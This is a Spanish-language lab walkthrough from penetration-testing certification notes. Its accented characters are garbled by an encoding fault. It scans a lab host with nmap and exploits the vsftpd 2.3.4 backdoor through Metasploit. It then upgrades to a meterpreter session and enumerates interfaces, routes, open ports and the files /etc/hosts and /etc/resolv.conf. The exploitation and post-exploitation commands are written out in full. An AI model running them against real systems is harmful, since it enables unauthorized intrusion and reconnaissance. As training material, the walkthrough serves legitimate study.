> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/enumeracion-de-linux/enumeracion-de-informacion-de-red-linux.md).
# Enumeraci贸n de informaci贸n de red - Linux
## 馃И Laboratorio Pr谩ctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la m谩quina Kali.
**Paso 2:** Escaneo de puertos con Nmap.
Realice un escaneo de puertos para identificar los servicios vulnerables que se ejecutan en el sistema objetivo. Esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
nmap -sV demo.ine.local
```
El an谩lisis de Nmap revela que el objetivo tiene un servidor FTP ejecut谩ndose en el puerto 21. La columna de versi贸n del an谩lisis de Nmap revela que el servidor FTP es vsftpd 2.3.4. Esta versi贸n de vsftpd es vulnerable a una vulnerabilidad de ejecuci贸n de comandos de puerta trasera y puede explotarse con un m贸dulo de Metasploit.
**Paso 3:** Obtener acceso.
Ahora que hemos identificado el servicio vulnerable que se ejecuta en el objetivo, podemos iniciar la consola de Metasploit Framework (msfconsole) y ejecutar el m贸dulo de explotaci贸n ejecutando el siguiente comando:
**Dominio:**
```
msfconsole -q
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS demo.ine.local
exploit
id
```
**Nota:** Si el exploit no funcion贸 en el primer intento, ejec煤telo nuevamente.
Tambi茅n puede obtener una sesi贸n de meterpreter en el sistema de destino actualizando la sesi贸n del shell de comandos. Para ello, ejecute los siguientes comandos:
(Poner la sesi贸n actual en segundo plano.)
**Comandos:**
```
CTRL + Z
sessions -u 1
sessions
sessions -i 2
```
**Paso 4:** Enumerar la informaci贸n de la red.
Ahora que hemos obtenido acceso al sistema de destino y hemos obtenido una sesi贸n de meterpreter, podemos comenzar a enumerar la informaci贸n de la red del sistema de destino.
El primer dato que podemos enumerar es la lista de interfaces de red conectadas al sistema objetivo y sus respectivas direcciones IP, esto se puede hacer ejecutando el siguiente comando meterpreter:
**Dominio:**
```
ifconfig
```
Como se muestra en la siguiente captura de pantalla, el sistema de destino tiene una interfaz f铆sica (eth0), una interfaz de bucle invertido (lo) para conexiones locales y una interfaz virtual (ip\_vti0).
Podemos obtener una lista de puertos abiertos en el sistema de destino ejecutando el siguiente comando meterpreter:
**Dominio:**
```
netstat
```
Otro dato importante a obtener es la tabla de enrutamiento, esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
route
```
Como se muestra en la captura de pantalla anterior, esto le dar谩 una idea de todas las rutas disponibles.
Esta informaci贸n tambi茅n se puede recopilar manualmente iniciando una sesi贸n de shell y ejecutando los siguientes comandos:
**Dominio:**
```
background
sessions -i 1
/bin/bash -i
ip a s
```
Como se muestra en la captura de pantalla anterior, este comando mostrar谩 la lista de interfaces de red conectadas al sistema de destino.
Tambi茅n podemos enumerar la lista de redes configuradas y sus subredes ejecutando el siguiente comando:
**Dominio:**
```
cat /etc/networks
```
Lo m谩s importante es que podemos enumerar la lista de dominios mapeados localmente y sus respectivas direcciones IP mostrando el contenido del archivo /etc/hosts.
**Dominio:**
```
cat /etc/hosts
```
Para identificar la direcci贸n del servidor de nombres DNS predeterminado, podemos ejecutar el siguiente comando:
**Dominio:**
```
cat /etc/resolv.conf
```
#### Conclusi贸n
En este laboratorio, aprendimos sobre el proceso de enumeraci贸n de informaci贸n de red desde un sistema de destino que ejecuta Linux.